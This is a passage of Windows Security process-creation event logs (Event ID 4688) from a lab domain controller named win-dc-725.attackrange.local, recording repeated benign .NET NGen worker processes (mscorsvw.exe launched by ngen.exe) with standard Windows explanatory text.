to start the program using Run as administrator. -03/12/2021 12:10:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255375 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x924 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent aa4 -InterruptEvent 0 -NGENProcess ac0 -Pipe a54 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255394 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe40 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b74 -InterruptEvent 0 -NGENProcess 9c0 -Pipe b80 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255393 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbac - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess b24 -Pipe b18 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255392 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1170 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b74 -InterruptEvent 0 -NGENProcess b24 -Pipe b6c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255391 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1224 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b48 -InterruptEvent 0 -NGENProcess b24 -Pipe b4c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255390 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x264 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b24 -InterruptEvent 0 -NGENProcess b5c -Pipe b54 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255389 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b48 -InterruptEvent 0 -NGENProcess b5c -Pipe b68 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255388 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1340 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b5c -InterruptEvent 0 -NGENProcess b10 -Pipe b60 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255387 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc8c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b48 -InterruptEvent 0 -NGENProcess b10 -Pipe b44 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255386 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b4c -InterruptEvent 0 -NGENProcess ae4 -Pipe b50 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:04 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255385 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3f4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ac0 -InterruptEvent 0 -NGENProcess ae4 -Pipe b40 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255400 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b8c -InterruptEvent 0 -NGENProcess b98 -Pipe b24 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255399 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10bc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b7c -InterruptEvent 0 -NGENProcess b98 -Pipe a80 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255398 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x640 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b98 -InterruptEvent 0 -NGENProcess 9c0 -Pipe b88 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255397 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b7c -InterruptEvent 0 -NGENProcess 9c0 -Pipe a50 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255396 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1394 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess b9c -Pipe b94 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255395 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b9c -InterruptEvent 0 -NGENProcess 9c0 -Pipe b64 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255410 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x35c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent bd8 -InterruptEvent 0 -NGENProcess bd0 -Pipe bd4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:06 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255409 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: 